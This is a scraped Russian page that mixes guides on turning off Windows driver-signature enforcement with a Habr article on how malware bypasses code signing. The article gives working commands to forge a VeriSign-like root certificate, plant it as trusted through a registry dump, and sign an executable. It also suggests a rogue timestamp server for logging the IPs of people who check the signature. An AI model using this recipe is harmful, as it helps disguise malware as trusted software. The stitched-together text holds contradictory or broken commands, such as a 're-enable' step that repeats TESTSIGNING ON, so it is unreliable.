Цифровые подписи в исполняемых файлах и обход этой защиты во вредоносных программах / Хабр

Цифровые подписи в исполняемых файлах и обход этой защиты во вредоносных программах / Хабр Электронная цифровая подпись

Что собой представляет цифровая подпись microsoft

Цифровая подпись – это небольшой участок кода, встроенный в драйвер с целью распознавания его операционной системой. Разработчики драйверов отсылают свои продукты в Microsoft, чтобы получить лицензию и удостоверить специалистов и безопасное. Впрочем, драйвера тестируются, но их код не анализируется.

Если Microsoft даёт добро, то высылает разработчику криптографический код, который встраивается в драйвер. Такая же процедура может применяться и к некоторым разновидностям программ. Цифровая подпись означает, что данный продукт является официальным и принадлежит компании-разработчику.

При установке такого ПО на компьютер в «десятке» происходит проверка его на наличие зашифрованной подписи, то есть функция проверки активируется в момент установки операционной системы. Если цифровая подпись отсутствует, система предупредит об этом пользователя, и он должен принять решение, продолжить установку или отказаться от неё, поскольку инсталлируемый драйвер или утилита могут оказаться потенциально опасными.

Если вы всё же продолжите установку, выбрав пункт «Установить этот драйвер», факт отсутствия цифровой подписи будет зафиксирован. В «Диспетчере устройств» напротив оборудования, драйвер к которому вы установили, будет присутствовать восклицательный знак, свидетельствующий о проблеме, имеющей код 52.

Исходя из этого, можно сделать вывод, что наличие криптографической подписи – это хорошо, но её отсутствие тоже не смертельно. Если вы достаточно часто ставите и переустанавливаете драйвера, то имеет смысл отключить такую проверку. Отключение может быть одноразовым или постоянным.

Если во полностью доверяете устанавливаемому ПО, но оно не лицензировано, можно отключить функцию только в момент инсталляции драйвера. Постоянное отключение чревато увеличением вероятности, что ваш компьютер рано или поздно будет атакован вредоносными программами.

Direct x

Драйверы мультимедиа ‒ наиболее часто обновляемые компоненты ОС. Проверить их на наличие сертификата можно с помощью встроенного средства диагностики. Запускаем его командой, показанной на скриншоте.

На основной вкладке ставим галочку в отмеченном поле. Таким образом мы включим автоматическую проверку утилитой сертификатов соответствия.

Переключившись на следующую вкладку, в поле «Драйверы» мы видим положительный ответ системы.

Аналогичным образом проверяем остальные страницы, убеждаясь в наличии сертификата WHQL.

Signature verification

Выявить наличие в системе всех компонентов без цифровой подписи можно, используя специальную утилиту проверки. Запустим ее, набрав в текстовом поле «sigverif».

Нажимаем отмеченную кнопку для активации процедуры тестирования компонентов.

Завершение верификации несколько изменит вид основного окна утилиты. Нажимаем на выделенную кнопку, чтобы открыть дополнительные параметры.

Выбираем опцию «Просмотр журнала».

В текстовом редакторе запускается отчет о состоянии установленных в системе драйверов. Обозначенная колонка «Состояние» дает информацию о наличии цифрового сертификата WHQL.

Разобравшись с текущим состоянием системы, рассмотрим, как выполнить отключение проверки цифровой подписи драйверов в Windows 10.

Групповая политика

Самый простой способ отключить электронную подпись заключается в изменении политики безопасности. Запускаем редактор, используя меню «Выполнить».

В главном окне последовательно разворачиваем подчеркнутые пункты в области навигации. Последний раздел содержит три параметра. Нужный нам выделен рамкой. Открываем его для редактирования.

В управляющем блоке ставим переключатель в положение «Включено». В области параметров используем выпадающее меню. Выбираем пункт, отмеченный цифрой «2». Применяем и сохраняем внесенные изменения.

Заданное правило должно начать действовать без перезагрузки.

Инструкция для windows 10

Большинство функций и параметров новой Windows 10 схожи с восьмой версией системы. Отключение опции постоянной проверки цифровых идентификаторов драйверов проводиться в окне групповых политик:

  • Зайдите в редактор, как это было показано в инструкции для Windows 8;
  • Откройте окно включения/отключения проверки подписи;
  • Выберите пункт «Отключено»;
  • В графе параметров оставьте пустое поле;
  • Сохраните изменения.

Рис. 10 – отключение параметра в Windows 10

Если в выпадающем списке отсутствует нулевое (пустое) значение выберите «Пропустить». Для деактивации с помощью командной строчки необходимо использовать две команды. Первая — для загрузки опций, вторая – для отключения функции. Обе команды и порядок их выполнения указан на рисунке ниже:

Рис. 11 – отключение с помощью Command Line в Windows 10

Как выключить сообщения безопасности для новых файлов из интернета?

Предположим, что на компьютере было всего несколько файлов, при открытии которых выскакивало ненавистное окно. По описанному выше способу Вы «разблокировали» их, но когда скачали из Интернета какую-то новую программу, то при её открытии увидели то же самое окно, гласящее о невозможности проверить издателяи т.п.

  • – Открыть «Редактор локальной групповой политики
    » («Изменение групповой политики» через поиск в меню «Пуск» или «gpedit.msc» в командной строке);
  • – Перейти к разделу «Конфигурация пользователя»;
  • – Открыть группу «Административные шаблоны»;
  • – Выбрать узел «Компоненты Windows»;
  • – Открыть папку «Диспетчер вложений»;
  • – В правой части окна установить параметр в значение “Включить” для:

    Не сохранять сведения о зоне во вложенных файлах
    ” (в Windows XP) или “Удаление сведений о зоне происхождения вложений
    ” (в Windows 7 и новее).

Теперь, при скачивании новых файлов с просторов глобальной паутины, данные о происхождении файла на Вашем диске сохраняться не будут и при их открытии на любом компьютере предупреждений появляться не будет. Очевидным плюсом по сравнению с первым вариантом (нажатия «Разблокировать» вручную) является полная автоматизация процесса, после которой почти навсегда забывается то самое окно с предупреждением.

Но… немногие избавляются от сообщений путём запрета приписывания к файлу сведений о ненадёжном источнике. Рано или поздно кто-то принесёт Вам на флешке отформатированной в NTFS некий файл, который был скачан из сети и содержит поток Zone.Identifier с информацией о ненадёжном источнике. При запуске Вы увидите то самое окно системы безопасности Windows!

Особые параметры загрузки

Следующий способ предполагает использование особых вариантов загрузки операционной системы. Открываем меню параметров Windows и переходим в указанный на скриншоте раздел. Цифровые подписи в исполняемых файлах и обход этой защиты во вредоносных программах / Хабр

В области навигации перемещаемся к пункту «Восстановление». Используем отмеченную кнопку для перезагрузки системы.

Управление мышью тут доступно, поэтому последовательно начинаем перемещаться по меню. Открываем раздел устранения неисправностей.

Выбираем дополнительные параметры.

Переходим к настройкам загрузки.

Эта область информационная и работает в ней только отмеченная кнопка.

Система переходит в режим низкого разрешения экрана и отключает управление мышью. Нужный нам пункт седьмой в списке. Выбираем его, нажимая управляющую клавишу «F7» в верхнем ряду клавиатуры.

Компьютер перезагрузится, после чего установка неподписанных драйверов в ОС станет доступна.

Подпись

Давайте сначала разберемся, что такое метка на программном обеспечении и любых файлах, которая позволяет определить его создателя, а также гарантировать то, что ПО не было изменено после подписи.

В случае с драйверами операционная система проверяет их подлинность, а также совместимость с данной ОС. Кроме того, драйвер проверяется на отсутствие модификаций со стороны сторонних пользователей.

Читайте также:  Плагин недоступен. Авторизация по сертификату невозможна в Госуслугах

Если файл или драйвер содержат неправильную подпись или её нет совсем, это может означать либо то, что он создан непроверенным разработчиком, либо что данный файл был изменен (например, заражен вирусом). Впрочем, отсутствие подписи не гарантирует вредоносность драйверов, а её наличие не обязательно является залогом безопасности.

Проблемы с .net framework

Чтобы «Касперский» стабильно работал на Win 10, 8 и 7, ему нужна утилита .NET Framework версии 4.0 и выше. Эта программа уже должна быть в Windows. Но если она функционирует с ошибками, надо её обновить или переустановить.

  • Запустите полученный файл.
  • Дождитесь окончания процесса.

Проверьте, устанавливается ли антивирус. Если нет, попробуйте полностью удалить Framework и заново его загрузить.

Программная несовместимость

Kaspersky работает с разными версиями Windows. Но это не значит, что один установщик подойдёт и для 10-ки, и для XP. Если вы попробуете загрузить устаревший антивирус на современную систему, ничего не получится.

  • Чтобы устранить проблему, загрузите актуальную версию инсталлятора с официального ресурса Лаборатории Касперского.
  • Откройте сайт.
  • Перейдите на вкладку «Для дома» (или «Для бизнеса», если вы ищете корпоративный Antivirus).
  • В колонке слева выберите подходящий продукт.
  • Там есть раздел «Системные требования». В нём указаны поддерживаемые ОС.

Можно сделать проще:

Пятый метод

О данной возможности мы упомянем лишь вскользь. Данное действие мало того, что немного незаконно, но и сопряжено с немалым риском, ведь мы практически принудительно установим в компьютер непроверенный драйвер.

Если вам не помогли все предыдущие методы, вы всегда можете самостоятельно подписать драйвер. Для этого вам понадобится сам драйвер и две вполне легальные программы разработчика SDK for Windows и Driver Kit, естественно, последних версий, либо пиратский софт, использование которого может быть опаснее для вашего компьютера, чем те же драйвера, которые вы пытаетесь “насильно” установить на компьютер.

Перед тем как это делать, можете попробовать добавить драйвер вручную. Для этого запустите уже известным способом командную строку и прописать команду Pnputil -a c:***.inf, где последнее значение – это путь к нужному драйверу. Если компьютер по-прежнему выдает ошибку, вам придется подписывать драйвер самостоятельно.

Режим командной строки

С помощью этого метода можно также отключить проверку цифровой подписи драйвера в Windows 7. Запускаем PowerShell в режиме повышенных прав. Вводим последовательно приведенные на скриншоте команды.

После перезагрузки система не будет сообщать, что ей требуется драйвер с цифровой подписью. Для отключения режима в тексте последней команды указываем «OFF» вместо «ON».

Еще один вариант использования командной строки требует перезагрузки в безопасный режим. Последовательность действий мы уже рассматривали. Добравшись до дополнительных параметров, выбираем обозначенный пункт.

Операционная система еще раз перезагрузится, отобразив командную строку в режиме администратора. Вводим приведенную на скриншоте команду. Для выхода в графическое меню набираем «exit».

Отключение данного режима также выполняется заменой «ON» на «OFF» в конце управляющей команды.

Решение

В таблице вы найдете возможные решения, которые зависят от драйвера и кода ошибки. После выполнения инструкций перезагрузите компьютер и запустите установку последней версии программы «Лаборатории Касперского» заново.

Код ошибкиДрайверРешение

2147024891

2147023828

2147024894

mklif.sys

klhk.sys_x64

  1. Убедитесь, что на компьютере не установлены несовместимые программы. Если такие программы есть, удалите их. Инструкция в статье.
  2. Удалите с компьютера остатки программ прошлых версий с помощью утилиты kavremover. Инструкция в статье.
2146500025klim6.sys
  1. Отключите проверку цифровых подписей драйверов в операционной системе. Инструкция на официальном форуме Microsoft.
  2. После переустановки программы включите проверку цифровых подписей драйверов.

2147023836

2147024809

2147023170

2147024864

2147023824

klim6.sys

klkbdflt2.sys

Любой

Любой

klim6.sys

Удалите с компьютера остатки программ прошлых версий с помощью утилиты kavremover. Инструкция в статье.

2146500043mklif.sys

Программы «Лаборатории Касперского» несовместимы с операционными системами, работающими на процессоре Snapdragon. Подробнее на официальном сайте Microsoft.

2147024883klim6.sys

Если вы используете операционную систему Windows 7 или Windows 8, внесите изменения в реестр:

  1. Откройте редактор реестра. Инструкция на официальном сайте Microsoft.
  2. Перейдите в ветку реестра: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlNetwork
  3. Переименуйте параметр Config в Config2.
  4. Перезапустите компьютер.

2147024770

536870329

Любой

Если вы используете операционную систему Windows 10, проверьте, что на вашем компьютере установлено последнее обновление. Для этого перейдите на официальный сайт Microsoft, нажмите Обновить сейчас и следуйте дальнейшим инструкциям.

2147416359

Любой

  1. Откройте Панель управления и перейдите в раздел АдминистрированиеСлужбы.
  2. Убедитесь, что Служба настройки сети (Network Setup Service) есть в списке и имеет тип запуска Вручную.
  3. Если служба присутствует и тип запуска правильный, но ошибка повторяется, данная служба может быть повреждена.
  4. Мы рекомендуем переустановить операционную систему.

2147418113

1906441222

Любой
  1. Загрузите компьютер в безопасном режиме. Инструкция в статье.
  2. Откройте командную строку. Инструкция в статье.
  3. Выполните команды:

net stop cryptsvc

ren %systemroot%system32catroot2 catroot2_old

net start cryptsvc

Остальные

Остальные

Удалите с компьютера остатки программ прошлых версий с помощью утилиты kavremover. Инструкция в статье.

Создаем цифровую подпись вручную

DSEO – это популярная утилита для установки и редактирования цифровых подписей программного обеспечения любого типа. Следуйте инструкции:

  • После установки DSEO откройте программу от имени администратора;
  • В главном окне выберите режим Test Mode и перейдите в следующее окно, нажав на клавишу Next;
  • Кликните на опцию Sign a System Mode для подписи определенного системного файла и снова нажмите на Next;
  • Во всплывающем окне выберите файл, для которого будет проводиться создание подходящей цифровой подписи и нажмите ОК;
  • Дождитесь окончания работы процесса и закройте программу.

Теперь вы сможете установить выбранный драйвер на свой компьютер.


Рис.15 – работа в программе DSEO

Создание цифровой подписи

В некоторых случаях описанные методы могут не помочь. Когда не отключается проверка подписи драйверов Windows 7 или 10, придется подписать его самостоятельно. Для этой цели нам понадобится распаковать установочный пакет и найти файл с расширением INF.

Запускаем PowerShell с повышенными правами. Вводим следующую команду: «pnputil -a C:pathname.inf». Заменяем в ней строку «C:pathname.inf» на скопированный путь к файлу.

В результате ее выполнения выбранный драйвер будет зарегистрирован в системе. Этот же способ подойдет и в том случае, когда постоянно слетает цифровая подпись драйвера.

Способ 1: переход в режим загрузки с деактивацией обязательной верификации подписей

Чтобы деактивировать верификацию подписи драйверов при их инсталляции на Виндовс 7, можно произвести загрузку ОС в особом режиме.

  1. Перезагрузите или включите компьютер в зависимости от того, в каком состоянии он в данный момент находится. Как только прозвучит звуковой сигнал при запуске, зажмите клавишу F8. В некоторых случаях это может быть иная кнопка или сочетание, в зависимости от версии BIOS, установленного на вашем ПК. Но в подавляющем большинстве случаев нужно применять именно вышеуказанный вариант.
  2. Окно запуска компьютера

  3. Откроется перечень вариантов запуска. При помощи стрелок навигации на клавиатуре выберите пункт «Отключение обязательной проверки…» и щелкните Enter.
  4. Переход в режим отключения обчзательной проверки подписи драйверов в Windows 7

  5. После этого ПК запустится в режиме деактивированной проверки подписи и вы сможете спокойно инсталлировать любые драйвера.

Недостаток данного метода заключается в том, что как только вы запустите в следующий раз компьютер в обычном режиме, все установленные драйвера без цифровых подписей тут же слетят. Этот вариант подходит лишь для одноразового подключения, ели вы не планируете использовать устройство регулярно.

Способ 2: «командная строка»

Отключить верификацию цифровой подписи можно при помощи введения команд в «Командную строку» операционной системы.

  1. Жмите «Пуск». Переходите во «Все программы».
  2. Переход в раздел все программы с помощью меню Пуск в Windows 7

  3. Щелкайте «Стандартные».
  4. Переход в папку Стандартные из раздела все программы с помощью меню Пуск в Windows 7

  5. В раскрывшейся директории ищите «Командная строка». Произведя нажатие по указанному элементу правой кнопкой мышки (ПКМ), выбирайте позицию «Запуск от имени администратора» в отобразившемся перечне.
  6. Запуск Командной строки от имени администратора через контекстное меню в папку Стандартные из раздела все программы с помощью меню Пуск в Windows 7

  7. Активируется «Командная строка», в которую нужно ввести следующее:

    bcdedit.exe -set loadoptions DDISABLE_INTEGRITY_CHECKS

    Щелкайте Enter.

  8. Ввод первой команды для отключение проверки подписи драйверов в интерфейсе Командной строки в Windows 7

  9. После появления информации, говорящей об удачном завершении задачи, вбивайте такое выражение:

    bcdedit.exe -set TESTSIGNING ON

    Снова применяйте Enter.

  10. Ввод второй команды для отключение проверки подписи драйверов в интерфейсе Командной строки в Windows 7

  11. Верификация подписи теперь деактивирована.
  12. Проверка подписи драйверов отключена путем ввода двух команд в интерфейсе Командной строки в Windows 7

  13. Для её повторной активации вбейте:

    bcdedit -set loadoptions ENABLE_INTEGRITY_CHECKS

    Применяйте нажатием Enter.

  14. Ввод первой команды для включения проверки подписи драйверов в интерфейсе Командной строки в Windows 7

  15. Затем вбейте:

    bcdedit -set TESTSIGNING ON

    Снова нажимайте Enter.

  16. Ввод второй команды для включения проверки подписи драйверов в интерфейсе Командной строки в Windows 7

  17. Верификация подписи снова активирована.
Читайте также:  лицензия криптопро forum

Существует ещё один вариант действий через «Командную строку». В отличие от предыдущего, он требует всего лишь введения одной команды.

  1. Вводите:

    bcdedit.exe /set nointegritychecks ON

    Жмите Enter.

  2. Ввод команды для отключения проверки подписи драйверов в интерфейсе Командной строки в Windows 7

  3. Проверка деактивирована. Но после инсталляции необходимого драйвера все-таки рекомендуем снова активировать верификацию. В «Командной строке» вбейте:

    bcdedit.exe /set nointegritychecks ON OFF

  4. Ввод команды для включения проверки подписи драйверов в интерфейсе Командной строки в Windows 7

  5. Верификация подписи опять активирована.

Урок: Активация «Командной строки» в Виндовс 7

Способ 3: «редактор групповой политики»

Другой вариант деактивации верификации подписи осуществляется методом манипуляций в «Редакторе групповой политики». Правда, он доступен только в редакциях «Корпоративная», «Профессиональная» и «Максимальная», а вот для редакций «Домашняя базовая», «Начальная» и «Домашняя расширенная» этот алгоритм выполнения поставленной задачи не подойдет, так как в них отсутствует необходимая функциональность.

  1. Для активации нужного нам инструмента воспользуемся оболочкой «Выполнить». Нажмите Win R. В поле отобразившейся формы введите:

    gpedit.msc

    Жмите «OK».

  2. Переход в редактор локальной групповой политики путем ввода команды в окно Выполнить в Windows 7

  3. Запускается необходимый для наших целей инструмент. В центральной части открывшегося окна щелкайте по позиции «Конфигурация пользователя».
  4. Переход в раздел Конфигурация пользователя в окне редактора локальной групповой политики в Windows 7

  5. Далее жмите «Административные шаблоны».
  6. Переход в папку Административные шаблоны из раздела Конфигурация пользователя в окне редактора локальной групповой политики в Windows 7

  7. Теперь войдите в директорию «Система».
  8. Переход в каталог Система из папки Административные шаблоны в окне редактора локальной групповой политики в Windows 7

  9. Затем откройте объект «Установка драйвера».
  10. Переход в папку Установка драйвера из каталога Система в окне редактора локальной групповой политики в Windows 7

  11. Теперь щелкайте по названию «Цифровая подпись драйверов…».
  12. Открытие окна Цифровая подпись драйверов устройств из папки Установка драйвера в окне редактора локальной групповой политики в Windows 7

  13. Открывается окно настройки вышеуказанного компонента. Выставьте радиокнопку в положение «Отключить», а затем жмите «Применить» и «OK».
  14. Отключение проверки подписи драйверов в окне Цифровая подпись драйверов устройств в редакторе локальной групповой политики в Windows 7

  15. Теперь закрывайте все открытые окна и программы, далее щелкайте «Пуск». Кликните по треугольной фигуре справа от кнопки «Завершение работы». Выбирайте «Перезагрузка».
  16. Перезагрузка компьютера с помощью кнопки Пуск в Windows 7

  17. Компьютер будет перезапущен, после чего верификация подписи деактивируется.

Способ №4 – командная строка (вариант загрузки windows 7)

1. В меню пуск выполните поиск – введите cmd

2. Запустите командную строку от имени администратора

3. Введите команду:

bcdedit /set “{current}” bootmenupolicy legacy

4. Перезагрузите компьютер и в момент загрузки компьютера нажимайте клавишу F8

5. В меню выбрать «Отключение обязательной проверки подписи драйверов»

4. Проверка цифровой подписи драйверов в Windows 8.1/8 отключена.

Способы деактивации проверки

Сразу следует оговориться, что деактивируя проверку цифровой подписи, вы действуете на свой страх и риск. Дело в том, что неизвестные драйвера могут быть источником уязвимости или прямой опасности, если являются продуктом разработки злоумышленников. Поэтому не рекомендуем снимать защиту при установке объектов, скачанных из интернета, так как это очень рискованно.

В то же время бывают ситуации, когда вы уверены в подлинности драйверов (например, когда они поставляются в комплекте с оборудованием на дисковом носителе), но у них по какой-то причине отсутствует цифровая подпись. Вот для таких случаев и стоит применять описанные ниже способы.

Цифровые подписи в исполняемых файлах и обход этой защиты во вредоносных программах

image

Хабрапривет!

Ну вроде как удалось решить вопросы с кармой, но они ником образом не касаются сегодняшней темы, а лишь объясняют некоторое опоздание её выхода на свет (исходные планы были на ноябрь прошлого года).

Сегодня я предлагаю Вашему вниманию небольшой обзор по системе электронных подписей исполняемых файлов и способам обхода и фальсификации этой системы. Также будет рассмотрен в деталях один из весьма действенных способов обхода. Несмотря на то, что описываемой инфе уже несколько месяцев, знают о ней не все. Производители описываемых ниже продуктов были уведомлены об описываемом материале, так что решение этой проблемы, если они вообще считают это проблемой, на их ответственности. Потому как времени было предостаточно.

ТЕОРИЯ

Идея и технология электронной подписи для исполняемых файлов возникла ещё в эпоху Windows NT. C момента появления Windows Vista компания Microsoft начала активную компанию по продвижению этой технологии. По задумке производителя, подписанный код может идти только от доверенного автора этого кода, а следовательно гарантированно не наносит вреда системе и защищён от ошибок (три ха-ха).

Тем не менее, поскольку в механизме подписи чаще всего используется довольно сложный криптоустойчивый механизм, общее доверие к подписанному коду распространилось. Не ушли от этого и антивирусные вендоры. Верно: если код подписан, то он явно не может быть вирусом, а потому ему можно доверять априори, тем самым снизив вероятность ложных срабатываний. Поэтому в большинстве современных антивирусных продуктов по умолчанию стоит обход проверки подписанных файлов, что повышает скорость сканирования и снижает вероятность ложных срабатываний. Более того, зачастую подписанные программы автоматически заносятся в категорию «доверенных» поведенческих анализаторов ака хипсов.

Становится ясно, что подписав свои творения валидной подписью, вирусмейкер получает довольно богатую аудиторию клиентов, у которых даже с активным и регулярно обновляемым антивирусом произойдёт заражение. Очевидно, что это — весьма лакомый кусочек, что легко заметно на примере уже ставшего знаменитым вируса Stuxnet, где код был подписан валидными сертификатами Realtek (позже сообщалось и о подписях от JMicron).

Но у этого подхода есть и оборотная сторона: после выявления скомпрометированной подписи она немедленно отзывается, а по самому факту подписи АВ-вендоры ставят сигнатурный детект, понятно, что с 100%-ным срабатыванием. Учитывая то, что приобрести украденный сертификат, необходимый для подписывания крайне дорого, ясно, что вирусмейкеры заинтересованы в тотальном обходе механизма проверки подписи, без валидных private-ключей или с помощью самостоятельной генерации таких ключей. Это позволит обходить защиту не только антивирусных продуктов, но и устанавливать драйвера и ActiveX-компоненты без предупреждений, да и вообще как-то пробиться в мир х64, где без подписей ничего не установить вообще.

Но об этом — подробнее на практике.

ПРАКТИКА

Кто-то из великих сказал, что чтобы опередить врага, надо начать мыслить как он. Итак, если мы вирусмейкеры, то что мы можем сделать?

1. Скопировать информацию о сертификате с какого-нибудь чистого файла.

Это наиболее популярный способ на данный момент. Копируется информация подписи до мельчайших подробностей, вплоть до цепочки доверенных издателей. Понятно, что такая копия валидна только на взгляд пользователя. Однако то, что отображает ОС вполне может сбить с толку неискушённого и быть воспринято как очередной глюк — ещё бы, если все издатели правильные, то почему это подпись невалидна? Увы и ах — таких большинство.

2. Использовать самоподписанные сертификаты с фэйковым именем.

Аналогично выше описанному варианту за исключением того, что даже не копируется цепочка в пути сертификации.

3. Подделать MD5.

Несмотря на то, что слабость алгоритма MD5 уже давно описана (тут и тут), он до сих пор часто используется в электронных подписях. Однако реальные примеры взлома MD5 касаются или очень маленьких файлов, или приводят к неправильной работе кода. На практике не встречаются вирусы с поддельными взломанными подписями на алгоритме MD5, но тем не менее такой способ возможен теоретически.
4. Получить сертификат по обычной процедуре и использовать его в злонамеренных целях.

Читайте также:  Отсутствует цифровая подпись установочных файлов касперский виндовс 7. Устанавливать драйвера без цифровой подписи или нет - ЭЦП Эксперт

Одна из наиболее распространённых методик авторов так называемых riskware, adware и фэйковых антивирусов. Примером может послужить фэйковый Perfect Defender (стандартный развод: «просканируйтесь бесплатно — у вас вирус — заплатите нам и мы его удалим») существует с подписями нескольких контор:
• Jeansovi llc
• Perfect Software llc
• Sovinsky llc
• Trambambon llc

Как это делается хорошо могут рассказать наши отечественные разработчики винлокеров, мелкими буквами пишущие про «программу-шутку» и т.д., таким образом оберегаясь от статьи о мошенничестве. Так и живём…

Интересно, что реально существуют абсолютно нормальные программы с такими именами владельцев:
• Verified Software
• Genuine Software Update Limited
• Browser plugin

Понятно, что если уж этому верить, то ошибиться при первом взгляде на сертификат несложно.

Следует также отметить, что отнюдь несложно получить подпись от сертификационных центров. Например RapidSSL для проверки использует просто e-mail. Если переписка ведётся из адресов типа admin, administrator, hostmaster, info, is, it, mis, postmaster, root, ssladmin,
ssladministrator, sslwebmaster, sysadmin или webmaster@somedomain.com — очевидно, что пишет владелец домена, верно? (ещё три ха-ха). А вот славная компания Digital River (DR), промышляющая аутсорсингом и электронной коммерцией, вообще предоставляет сертификаты всем своим клиентам. Немудрено, что MSNSpyMonitor, WinFixer, QuickKeyLogger, ErrorSafe, ESurveiller, SpyBuddy, TotalSpy, Spynomore, Spypal и вообще около 0,6% из всех подписанных DR файлов являются малварью, а потенциально нежелательными являются и того больше — более 5% всех подписанных DR файлов.

Справедливости ради отмечу, что подписать х64-драйвер далеко не так просто, в этом случае пока нарушений не замечено.

5. Найти какого-нибудь работника доверенной компании и попросить его подписать Ваш код.

Без комментариев. Все любят деньги. Вопрос только в сумме 🙂

6. Украсть сертификат.

На данный момент известно три больших семейства троянцев, «заточенных», в частности, под похищение сертификатов. Это:
• Adrenalin
• Ursnif
• Zeus
• SpyEye (возможно)

Тем не менее пока не замечено массовых случаев использования украденных сертификатов в новых версиях этих троянцев. Возможно, это козырь в рукаве? Время покажет…

7. Заразить систему разработки доверенного разработчика и внедрять злонамеренный код в релизы до подписания.

Яркий пример такого заражения — вирус-концепт Induc.a. Вирус внедряет код на этапе компиляции, заражая систему разработки. В итоге разработчик даже не знает, что в его программе появился невидимый «довесок». Релиз проходит подпись и выходит в свет с полноценным сертификатом. Видишь суслика? А он есть! 😉

К счастью, Induc.a является только PoC, выполняя только заражение систем разработки без реализации какого бы то ни было дополнительного вредоносного функционала.

Ну а теперь — обещанные вкусняшки.

УЯЗВИМОСТЬ ИЛИ КАК Я ПРОВЁЛ ЭТИМ ЛЕТОМ

Как видим, вариантов обхода подписи достаточно много. В нашем примере будет рассмотрен модифицированный вариант 1 и 2, описанные выше.

Итак, что нам потребуется?
— MakeCert.exe
— cert2spc.exe
— sign.exe
— ruki.sys
— mozg.dll

Думаю, что для хабрачитателя не составит труда найти эти компоненты, но для самых ленивых выкладываю первые три здесь. Последние два не выкладываю в виду жёсткой привязки к железу, полному отсутствию кроссплатформенности и специфичности кода 🙂

Итак, создадим какой-либо сертификат доверенного издателя. Попробуем максимально скопировать информацию о том же VeriSign:
MakeCert.exe -# 7300940696719857889 -$ commercial -n CN="VeriSign Class 3 Code Signing 2009-2 CA" -a sha1 -sky signature -l "https://www.verisign.com/rpa" -cy authority -m 12 -h 2 -len 1024 -eku 1.3.6.1.5.5.7.3.2,1.3.6.1.5.5.7.3.3 -r -sv veri.pvk veri.cer

В результате выполнения мы получим veri.pvk и veri.cer, пригодные для подписывания.

Теперь создадим дочерний сертификат с использованием полученных только что:

MakeCert.exe -# 8928659211875058207 -$ commercial -n CN="Home Sweet Home" -a sha1 -sky signature -l "http://habrahabr.ru/" -ic veri.cer -iv veri.pvk -cy end -m 12 -h 2 -len 1024 -eku 1.3.6.1.5.5.7.3.3 -sv kl.pvk kl.cer

В итоге получим kl.pvk и kl.cer, которые будут доверенными сертификатами от недоверенного издателя. Цепочку можно продолжать долго, задуривая наивного пользователя. Но итог будет один: сертификат не будет валидным, потому как в цепочке есть один недоверенный элемент. НО!

В Windows имеется возможность установки любого сертификата, в том числе и самоподписанного, в качестве доверенного. Это удобно: в ряде случаев разработчик может сделать себе самоподписанный сертификат, ввести его в доверенные и спокойно работать со своими приложениям. В нашем случае это удобно вдвойне, потому как такой внос — очевидно, простое внесение информации в реестр. при чём информации отнюдь не специфичной для конкретной системы.

Установим на нашу тестовую виртуалку любой монитор реестра, после чего внесём наш искомый сертификат от якобы VeriSign в доверенные. Отследим, где произошло изменение — и voila! Мы можем сделать дамп соответствующей ветки реестра, после чего засунуть её в инсталлер. В итого, наш инсталлер вносит в реестр инфу, автоматически превращая сертификат первичного издателя в доверенный и валидируя всю цепочку.

Чтобы окончательно не открывать все карты, скажу только, что в моём случае дамп реестра имел вид
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftSystemCertificatesAuthRootCertificatesA61F9F1A51BBCA24218F9D14611AFBA61B86C14C]
“Blob”=hex:04,00,00,…..

ну или если только для текущего пользователя, то
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USERSoftwareMicrosoftSystemCertificatesRootCertificatesA61F9F1A51BBCA24218F9D14611AFBA61B86C14C]
“Blob”=hex:04,00,00,…..

Внеся в реестр эти данные, программа с фэйковой цепочкой подписи автоматом проходила проверку по sigverif.exe. Ну а подписать наш код с помощью полученного сертификата вообще просто, достаточно батника:

cert2spc.exe kl.cer kl.spc
sign.exe -spc kl.spc -v kl.pvk -n "My Installer" -i "http://habrahabr.ru" -ky signature -$ commercial -a sha1 -t "http://timestamp.verisign.com/scripts/timstamp.dll" myprogram.exe
del kl.spc

Обратите внимание на использование таймстампа timestamp.verisign.com/scripts/timstamp.dll — теоретически вполне возможно использование собственного сервера на собственном домене, что позволит каждый раз видеть, что кто-то проверил подпись нашей программы на своём компьютере, а значит получать IP и время проверки. Правда удобно? 😉

Самое забавное, что на момент написания материала в далёком октябре-ноябре 2022-го Kaspersky Internet Security 2022 не отслеживала указанные ветки реестра, а проверку валидности цепочки оставляла на усмотрение ОС, которую мы довольно просто надули. Не знаю, что сейчас, но вроде как некоторые ветки заблокировали… Проверяйте, отписывайтесь!

Нужно отметить, что для простановки подписей возможно использование и специфичного, недоступного в паблике софта. Понятно, что подписи он не ломает, но даёт куда более гибкие возможности для заполнения полей X500, что ещё лучше создаёт видимость валидности. Вот тут возможно скачать любопытный пример. В архиве — файл популярной замены Блокноту bred3_2k (офсайт) с и без подписи Microsoft 🙂 Чтобы подпись полностью стала валидной, достаточно внести в реестр изменения, содержащиеся в файле key .reg. Аналогично, файл key -.reg эти изменения отменяет. Отследите путь сертификации — он любопытен 🙂

Сразу обращаю внимание на то, что автор «примера» прописал собственный таймстамп-сервер, так что любые манипуляции приведут к тому, что автор узнает Ваш IP — и дальше, как описывалось. Если хотите, то можете отследить эти обращения и отписаться в комментах 😉

Если потребуется, в следующей статье я расскажу, как настроить хипс для защиты соответсвующих веток реестра во избежание описанного внесения сертификатов в доверенные. Отписывайтесь в комментах — возможно, что эту уязвимость уже пофиксили.

В статье использован материал презентации Jarno Niemela (F-Secure).

Оцените статью
ЭЦП Эксперт
Добавить комментарий

Adblock
detector